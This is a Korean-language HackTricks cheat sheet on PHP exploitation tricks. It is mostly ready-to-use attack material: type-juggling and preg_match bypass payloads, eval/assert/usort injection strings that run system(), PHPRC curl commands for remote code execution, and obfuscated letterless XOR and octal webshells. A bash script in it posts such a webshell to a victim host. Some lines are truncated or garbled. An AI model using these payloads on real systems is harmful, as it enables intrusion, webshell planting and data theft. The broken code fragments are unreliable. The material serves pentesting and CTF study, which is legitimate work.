hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp
2024-03-15 22:17:20 +00:00
..
php-useful-functions-disable_functions-open_basedir-bypass Translated to Korean 2024-02-10 21:30:13 +00:00
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md Translated to Korean 2024-02-10 21:30:13 +00:00
php-ssrf.md Translated ['README.md', 'forensics/basic-forensic-methodology/partition 2024-03-14 23:45:38 +00:00
README.md Translated ['network-services-pentesting/700-pentesting-epp.md', 'networ 2024-03-15 22:17:20 +00:00

PHP 트릭

제로부터 영웅이 될 때까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

쿠키 공통 위치:

이것은 phpMyAdmin 쿠키에도 적용됩니다.

쿠키:

PHPSESSID
phpMyAdmin

위치:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

PHP 비교 우회하기

느슨한 비교/타입 강제 변환 ( == )

PHP에서 ==를 사용하면 예상치 못한 경우가 발생하여 비교가 예상대로 작동하지 않을 수 있습니다. 이는 "=="가 값만을 비교하며 동일한 유형으로 변환한 경우에만 작동하기 때문입니다. 비교하는 데이터의 유형도 동일한지 비교하려면 ===를 사용해야 합니다.

PHP 비교 표: https://www.php.net/manual/en/types.comparisons.php

{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}

  • "string" == 0 -> True 숫자로 시작하지 않는 문자열은 숫자와 동일합니다.
  • "0xAAAA" == "43690" -> True 10진수 또는 16진수 형식의 숫자로 구성된 문자열은 다른 숫자/문자열과 비교하여 동일할 수 있습니다 (문자열 내의 숫자는 숫자로 해석됨).
  • "0e3264578" == 0 --> True "0e"로 시작하고 뒤에 아무 문자가 오는 문자열은 0과 동일합니다.
  • "0X3264578" == 0X --> True "0"로 시작하고 임의의 문자 (X는 임의의 문자일 수 있음)가 오고 뒤에 아무 것이 오는 문자열은 0과 동일합니다.
  • "0e12334" == "0" --> True 이것은 매우 흥미로운데, 경우에 따라 "0"으로 시작하는 문자열 입력과 해싱되어 비교되는 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면 비교를 우회할 수 있습니다. 이미 이 형식으로 해싱된 문자열을 여기에서 찾을 수 있습니다: https://github.com/spaze/hashes
  • "X" == 0 --> True 문자열 내의 모든 문자는 정수 0과 동일합니다.

자세한 정보: https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

타입 강제 변환은 기본적으로 in_array() 함수에도 영향을 미칩니다 (엄격한 비교를 수행하려면 세 번째 인수를 true로 설정해야 함):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

만약 이 함수가 인증 확인 (예: 비밀번호 확인)에 사용된다면, 사용자가 비교의 한 쪽을 제어할 수 있기 때문에 비밀번호 값으로 문자열 대신 빈 배열을 보낼 수 있습니다 (https://example.com/login.php/?username=admin&password[]=) 그리고 이 확인을 우회할 수 있습니다:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

엄격한 유형 변환

strcasecmp()에서도 동일한 오류가 발생합니다.

심지어 ===를 사용하더라도 유형 변환에 취약한 비교가 발생할 수 있습니다. 예를 들어, 비교가 데이터를 다른 유형의 객체로 변환한 후 비교하는 경우:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

**preg_match()**는 사용자 입력을 유효성 검사하는 데 사용될 수 있습니다(입력된 사용자 입력에서 블랙리스트에 있는 단어/정규식존재하는지 확인하고, 그렇지 않으면 코드가 실행을 계속할 수 있습니다).

새 줄 우회

그러나 정규식의 시작을 구분할 때 preg_match()사용자 입력의 첫 번째 줄만 확인하므로, 어떻게든 여러 줄로 입력을 보낼 수 있다면, 이 검사를 우회할 수 있습니다. 예시:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

다음 검사를 우회하려면 새 줄로 인코딩된 값(%0A)을 보낼 수 있거나 JSON 데이터를 보낼 수 있습니다. 여러 줄에 걸쳐 보내세요:

{
"cmd": "cat /etc/passwd"
}

예제를 찾아보세요: https://ramadistra.dev/fbctf-2019-rceservice

길이 오류 우회

(이 우회 방법은 PHP 5.2.5에서 시도되었으며 PHP 7.3.15에서 작동하지 않았습니다)
preg_match()에 유효한 매우 큰 입력을 보낼 수 있다면, 처리할 수 없게 만들어 검사를 우회할 수 있습니다. 예를 들어, JSON을 블랙리스트하는 경우 다음과 같이 보낼 수 있습니다:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

ReDoS 우회

트릭 출처: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223

간단히 말하면 PHP의 preg_* 함수에서는 PCRE 라이브러리를 기반으로 합니다. PCRE에서는 일부 정규 표현식이 많은 재귀 호출을 사용하여 일치시킵니다. 이는 많은 스택 공간을 사용합니다. 재귀 호출 횟수에 제한을 둘 수 있지만, PHP에서는 이 한계가 기본적으로 100,000으로 설정되어 있어 스택에 맞지 않습니다.

이 문제에 대해 더 자세히 설명된 이 Stackoverflow 쓰레드도 게시물에 링크되어 있습니다. 이제 우리의 작업은 명확해졌습니다:
정규식이 100,000회 이상의 재귀를 수행하도록 하는 입력을 보내어 SIGSEGV를 발생시키고 preg_match() 함수가 false를 반환하도록 만들어 응용 프로그램이 우리의 입력이 악의적이지 않다고 생각하게 하며, 페이로드의 끝에 {system(<verybadcommand>)}와 같은 놀라운 결과를 던져 SSTI --> RCE --> 플래그를 획들하는 것입니다 :).

실제로 정규식 관점에서는 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세는 것이며, 이는 PHP 문서에서 언급하듯이 pcre.backtrack_limit 변수에서 기본값으로 1,000,000(1백만)입니다.
이를 달성하기 위해 'X'*500_001은 100만 개의 백트래킹 단계(50만 개의 순방향 및 50만 개의 역방향)를 결과로 낼 것입니다:

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

PHP 난독화를 위한 타입 캐스팅

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

리디렉션 후 실행 (EAR)

만약 PHP가 다른 페이지로 리디렉션하지만 die 또는 exit 함수가 Location 헤더를 설정한 후에 호출되지 않는다면, PHP는 계속 실행되고 데이터를 본문에 추가합니다:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

경로 이동 및 파일 포함 취약점 악용

확인:

{% content-ref url="../../../pentesting-web/file-inclusion/" %} file-inclusion {% endcontent-ref %}

더 많은 속임수

  • register_globals: PHP < 4.1.1.1 또는 잘못 구성된 경우 register_globals가 활성화될 수 있습니다 (또는 그들의 동작이 모방됩니다). 이는 전역 변수인 $_GET과 같은 변수에 값이 있는 경우에는 $_GET["param"]="1234"와 같이 액세스할 수 있습니다. 따라서 HTTP 매개변수를 보내어 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다.
  • 같은 도메인의 PHPSESSION 쿠키는 동일한 위치에 저장되므로 도메인 내에서 다른 경로에서 다른 쿠키가 사용되는 경우 해당 경로가 다른 경로의 쿠키에 액세스하도록 설정할 수 있습니다. 이렇게 하면 두 경로가 동일한 이름의 변수에 액세스하는 경우 경로1의 해당 변수의 값을 경로2에 적용할 수 있습니다. 그런 다음 경로2는 경로1의 변수를 유효한 값으로 취할 것입니다 (쿠키에 해당하는 이름을 경로2에 제공함으로써).
  • 기계 사용자의 사용자 이름을 가지고 있는 경우. 주소를 확인하십시오: /~<USERNAME> PHP 디렉토리가 활성화되어 있는지 확인하십시오.
  • php 래퍼를 사용한 LFI 및 RCE

password_hash/password_verify

이 함수들은 일반적으로 PHP에서 비밀번호로부터 해시를 생성하고 해시와 비밀번호가 일치하는지 확인하는 데 사용됩니다.
지원되는 알고리즘은 다음과 같습니다: PASSWORD_DEFAULTPASSWORD_BCRYPT ($2y$로 시작). PASSWORD_DEFAULT가 자주 PASSWORD_BCRYPT와 동일하며 현재 PASSWORD_BCRYPT는 입력의 72바이트 제한이 있습니다. 따라서 이 알고리즘으로 72바이트보다 큰 것을 해싱하려고 할 때는 처음 72바이트만 사용됩니다:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP 헤더 우회를 통한 PHP 오류 남용

만약 PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 에코하는 경우, 사용자는 PHP 서버가 일부 충분히 긴 콘텐츠를 다시 출력하도록 만들 수 있습니다. 따라서 응답에 헤더를 추가하려고 할 때 서버가 오류를 발생시킵니다.
다음 시나리오에서 공격자는 서버가 큰 오류를 발생하도록 만들었으며, 화면에서 볼 수 있듯이 PHP가 헤더 정보를 수정하려고 시도할 때 (예: CSP 헤더가 사용자에게 전송되지 않음) 실패했습니다:

코드 실행

system("ls");
`ls`;
shell_exec("ls");

더 많은 유용한 PHP 함수는 여기를 확인하세요

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

"replace" 인수에서 코드를 실행하려면 적어도 하나의 일치가 필요합니다.
이 preg_replace 옵션은 PHP 5.5.0부터 사용이 중단되었습니다.

Eval()을 통한 RCE

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

Assert()를 통한 RCE

php 내의 이 함수는 문자열로 작성된 코드를 실행하여 true 또는 false를 반환하도록 합니다 (이에 따라 실행을 변경할 수 있음). 일반적으로 사용자 변수는 문자열 중간에 삽입됩니다. 예를 들어:
assert("strpos($_GET['page']),'..') === false") --> 이 경우 RCE를 얻으려면 다음을 수행할 수 있습니다:

?page=a','NeVeR') === false and system('ls') and strpos('a

usort()를 통한 RCE

이 함수는 특정 함수를 사용하여 항목 배열을 정렬하는 데 사용됩니다.
이 함수를 악용하려면:

코드 구문을 손상하고 페이로드를 추가한 다음 다시 수정해야합니다. "**and" 또는 "%26%26" 또는 "|"**와 같은 논리 연산을 사용할 수 있습니다. "or", "||"는 작동하지 않습니다. 왜냐하면 첫 번째 조건이 참이면 우리의 페이로드가 실행되지 않기 때문입니다. 마찬가지로 ";"도 작동하지 않습니다. 왜냐하면 우리의 페이로드가 실행되지 않기 때문입니다.

다른 옵션은 명령어 실행을 문자열에 추가하는 것입니다: '.highlight_file('.passwd').'

다른 옵션 (내부 코드가 있는 경우)는 몇 가지 변수를 수정하여 실행을 변경하는 것입니다: $file = "hola"

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

**코드의 나머지 부분을 주석 처리하는 또 다른 방법은 **//를 사용할 수 있습니다.

닫아야 하는 괄호의 수를 발견하려면:

  • ?order=id;}//: 오류 메시지를 받습니다 (Parse error: syntax error, unexpected ';'). 아마도 하나 이상의 괄호가 누락된 것 같습니다.
  • ?order=id);}//: 경고를 받습니다. 그것은 올바른 것 같습니다.
  • ?order=id));}//: 오류 메시지를 받습니다 (Parse error: syntax error, unexpected ')' i). 아마도 닫는 괄호가 너무 많은 것 같습니다.

.httaccess를 통한 RCE

만약 .htaccess업로드할 수 있다면, 여러 가지를 구성하고 코드를 실행할 수 있습니다 (확장자가 .htaccess인 파일이 실행될 수 있도록 구성).

다양한 .htaccess 쉘은 여기에서 찾을 수 있습니다.

환경 변수를 통한 RCE

PHP에서 환경 변수를 수정할 수 있는 취약점을 발견하면 (또 다른 파일을 업로드할 수 있는 취약점이 있어야 하지만, 더 많은 연구를 통해 이를 우회할 수 있을 수도 있음), 이 동작을 악용하여 RCE를 얻을 수 있습니다.

  • LD_PRELOAD: 이 환경 변수는 다른 이진 파일을 실행할 때 임의의 라이브러리를 로드할 수 있도록 합니다 (이 경우에는 작동하지 않을 수도 있음).
  • PHPRC : PHP에게 구성 파일인 php.ini라고 일반적으로 불리는 파일의 위치를 알려줍니다. 자체 구성 파일을 업로드할 수 있다면, PHPRC를 사용하여 PHP를 가리키도록 할 수 있습니다. 두 번째 업로드한 파일을 지정하는 auto_prepend_file 항목을 추가합니다. 이 두 번째 파일에는 일반 PHP 코드가 포함되어 있으며, 이 코드는 다른 모든 코드보다 먼저 PHP 런타임에 의해 실행됩니다.
  1. 쉘코드가 포함된 PHP 파일을 업로드합니다.
  2. PHP 전처리기가 단계 1에서 업로드한 파일을 실행하도록 지시하는 auto_prepend_file 지시문이 포함된 두 번째 파일을 업로드합니다.
  3. PHPRC 변수를 단계 2에서 업로드한 파일로 설정합니다.
  • 이 체인을 실행하는 방법에 대한 자세한 정보는 원본 보고서에서 확인할 수 있습니다.
  • PHPRC - 다른 옵션
  • 파일을 업로드할 수 없는 경우 FreeBSD에서 "파일" /dev/fd/0을 사용할 수 있습니다. 이 파일은 요청을 stdin에 보낸 본문을 포함합니다:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • 또는 **allow_url_include**를 활성화하고 base64 PHP 코드가 포함된 파일을 선행하는 방식으로 RCE를 얻을 수 있습니다:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • 이 기술은 이 보고서에서 확인할 수 있습니다.

PHP 정적 분석

이 함수들을 호출하는 코드에 코드를 삽입할 수 있는지 확인하십시오 (여기에서).

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

만약 PHP 애플리케이션을 디버깅하고 있다면 /etc/php5/apache2/php.inidisplay_errors = On을 추가하여 오류 출력을 전역적으로 활성화할 수 있으며 아파치를 재시작해야 합니다: sudo systemctl restart apache2

PHP 코드의 해독

www.unphp.net 을 사용하여 PHP 코드를 해독할 수 있습니다.

PHP 래퍼 및 프로토콜

PHP 래퍼와 프로토콜을 사용하면 시스템에서 쓰기 및 읽기 보호를 우회하고 침해할 수 있습니다. 자세한 정보는 이 페이지를 확인하십시오.

Xdebug 미인증 RCE

phpconfig() 출력에서 Xdebug활성화되어 있는 것을 확인하면 https://github.com/nqxcode/xdebug-exploit를 통해 RCE를 시도해야 합니다.

변수 변수

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE abusing new $_GET["a"]($_GET["b"])

만약 페이지에서 임의의 클래스의 새 객체를 생성할 수 있다면 RCE를 얻을 수 있습니다. 다음 페이지를 확인하여 자세한 내용을 알아보세요:

{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}

Execute PHP without letters

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Using octal

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

XOR은 두 개의 비트가 서로 다를 때 1을 반환하는 논리 연산자입니다.

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR 쉘 코드

이 설명에 따르면 다음과 같이 쉽게 쉘 코드를 생성할 수 있습니다:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

그래서, 숫자와 문자 없이 임의의 PHP를 실행할 수 있다면, 다음과 같은 요청을 보내어 악용하여 임의의 PHP를 실행할 수 있습니다:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

더 자세한 설명은 https://ctf-wiki.org/web/php/php/#preg_match를 확인하십시오.

XOR 셸코드 (eval 내부)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perl과 유사

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법: